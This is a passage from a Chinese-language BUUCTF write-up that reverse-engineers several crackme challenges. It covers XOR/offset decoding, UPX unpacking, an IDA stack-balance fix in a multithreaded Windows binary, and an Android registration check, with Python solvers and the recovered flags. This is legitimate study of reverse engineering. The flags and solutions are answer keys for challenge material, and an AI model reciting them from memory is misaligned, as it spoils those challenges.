        s = 0x7F666F6067756369LL;
        strcat(&f2, (const char *)&s);
        break;
      case 5:
        for ( j = 0; j <= 7; ++j )
        {
          if ( j % 2 == 1 )
            v1 = *(&f2 + j) - 2;                // v1=v1-2
          else
            v1 = *(&f2 + j) - 1;                // v1=v1-1
          *(&f2 + j) = v1;
        }
        break;
      default:
        puts("emmm,you can't find flag 23333");
        break;
    }

稍微看了一下逻辑,输入任意一个偶数,然后程序在200以内会随机四次。

大意是要按顺序随机出四次,才能拿到flag。分析了一下,应该是先执行case 4,把s传入f2。然后再执行case5,对f2中的数据进行修改。其中*(&f2 + j)其实就是循环处理f2[0-n],最后执行case1输出flag

写反向代码,解密f2:

#hint:s内容要反过来,因为在计算机里是小端存储的,&f+j取地址操作的时候,会从最后一个字符处理起
data = [0x7F,0x66,0x6F,0x60,0x67,0x75,0x63,0x69]
data = data[::-1]
for i in range(8):
    if( i%2 == 1 ):
        data[i] -= 2
    else:
        data[i] -= 1
result = ''
for i in data:
    result += chr(i)
print(result)
#hate_me}

和f1组合起来得到flag:GXY{do_not_hate_me}

栈平衡-多线程-Youngter-drive

查壳,发现upx壳。

用脱壳工具脱壳,命令为:$ upx -d Youngter-drive.exe

ida分析,shift+f12找到关键字符串:

.rdata:00415868 0000000C C \nflag{%s}\n\n

int sub_411880()
{
  int i; // [esp+D0h] [ebp-8h]

  for ( i = 0; i < 29; ++i )
  {
    if ( Source[i] != off_418004[i] )
      exit(0);
  }
  return printf("\nflag{%s}\n\n", Dest);
}

再看了一下main,大意是输入source,然后经过一串处理,如果source=off_418004=’TOiZiZtOrYaToUwPnToBsOaOapsyS’,则source就是flag.

//createthread开线程,其实就相当于运行了  StartAddress和sub_41119F
hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
v2 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_41119F, 0, 0, 0);

WaitForSingleObject
WaitForSingleObject是一种Windows API函数,当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
WaitForSingleObject函数用来检测hHandle事件的信号状态,在某一线程中调用该函数时,线程暂时挂起,如果在挂起的dwMilliseconds毫秒内,线程所等待的对象变为有信号状态,则该函数立即返回;如果超时时间已经到达dwMilliseconds毫秒,但hHandle所指向的对象还没有变成有信号状态,函数照样返回。
ReleaseMutex
ReleaseMutex是一种线性指令,具有释放线程拥有的互斥体的控制权。

线程也能告诉系统,它不想在某个时间段内被调度。这是通过调用Sleep函数来实现的:
VOID Sleep(DWORD dwMilliseconds);
该函数可使线程暂停自己的运行,直到dwMilliseconds过去为止。

实际上做到的就是对source隔位处理。从最后一位起,29/27/25……3/1

void __stdcall StartAddress_0(int a1)
{
  while ( 1 )
  {
    WaitForSingleObject(hObject, 0xFFFFFFFF);
    if ( dword_418008 > -1 )
    {
      sub_41112C((int)&Source, dword_418008);
      --dword_418008;
      Sleep(0x64u);
    }
    ReleaseMutex(hObject);
  }
}

进入sub_41112C后报错

BUUCTF WriteUp - 图92

view里打开stack pointer,查看堆栈平衡问题:

BUUCTF WriteUp - 图93

点击call,alt+k修改sp,最后目的是retn处堆栈平衡,即esp=0

修改后可以跟进sub_41112C函数

//sub_41112C(&Source, dword_418008);
//a1=&source,a2=1dh
char *__cdecl sub_411940(int a1, int a2)
{
  char *result; // eax
  char v3; // [esp+D3h] [ebp-5h]

  v3 = *(_BYTE *)(a2 + a1);//v3=source[i]
  if ( (v3 < 97 || v3 > 122) && (v3 < 65 || v3 > 90) )
    exit(0);//如果v3处于65-97之外的,直接退出
  if ( v3 < 97 || v3 > 122 )//大写字母的话
  {
//[off_418000]='QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
    result = off_418000[0];//返回值不重要因为没有用到
    *(_BYTE *)(a2 + a1) = off_418000[0][*(char *)(a2 + a1) - 38];//如果在范围内,把x数值改成off_418000[0][source[i]-38]
  }
  else//小写字母
  {
    result = off_418000[0];
    *(_BYTE *)(a2 + a1) = off_418000[0][*(char *)(a2 + a1) - 96];//source[i-96]再按角标寻址
  }
  return result;
}

BUUCTF WriteUp - 图94

import string
final = 'TOiZiZtOrYaToUwPnToBsOaOapsyS'
count = 0x1d
table = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'

final1 = final[::2]#取奇数位
final2 = final[1::2]#取偶数位

flag2 = ''
for i in final2:
    #先假设a是大写字母
    a = chr(table.index(i) + 96)
    if a in string.ascii_lowercase:
        flag2 += a
        continue
    else:#如果a是小写
        a = chr(table.index(i) + 38)
        flag2 += a
flag =''
flag1 = final1
i = 0
while True:
    try:
        flag += flag1[i]
        flag += flag2[i]
        i += 1
    except:
        break
print(flag)
#ThisisthreadofwindowshahaIsES

还有一个坑点,其实在加密函数中,flag偏移量29的数据也被加密了,也就是flag[29],所以flag一共有30位。

而在验证中,只取了i<29的29位进行验证。第三十位的flag[29]经过了加密,但是没有验证。可以暴力撞一下。

TsihrdoinwshaESE

android

简单注册器

if(flag == 1) {
    char[] x = "dd2940c04462b4dd7c450528835cca15".toCharArray();
    x[2] = (char)(x[2] + x[3] - 50);
    x[4] = (char)(x[2] + x[5] - 0x30);
    x[30] = (char)(x[0x1F] + x[9] - 0x30);
    x[14] = (char)(x[27] + x[28] - 97);
    int i;
    for(i = 0; i < 16; ++i) {
        char a = x[0x1F - i];
        x[0x1F - i] = x[i];
        x[i] = a;
    }
    textview.setText("flag{" + String.valueOf(x) + "}");
    return;
}

textview.setText("输入注册码错误");
}

打开就看到了核心代码,不太会java,用python写一遍,几乎可以原样复制:

data = "dd2940c04462b4dd7c450528835cca15"
x = []
for i in data:
    x.append(ord(i))
x[2] = x[2] + x[3] - 50
x[4] = x[2] + x[5] - 0x30
x[30] = x[0x1F] + x[9] - 0x30
x[14] = x[27] + x[28] - 97
for i in range(16): 
    a = x[0x1F - i];
    x[0x1F - i] = x[i];
    x[i] = a;
result = ''
for i in x:
    result += chr(i)
print(result)
#59acc538825054c7de4b26440c0999dd
#flag{59acc538825054c7de4b26440c0999dd}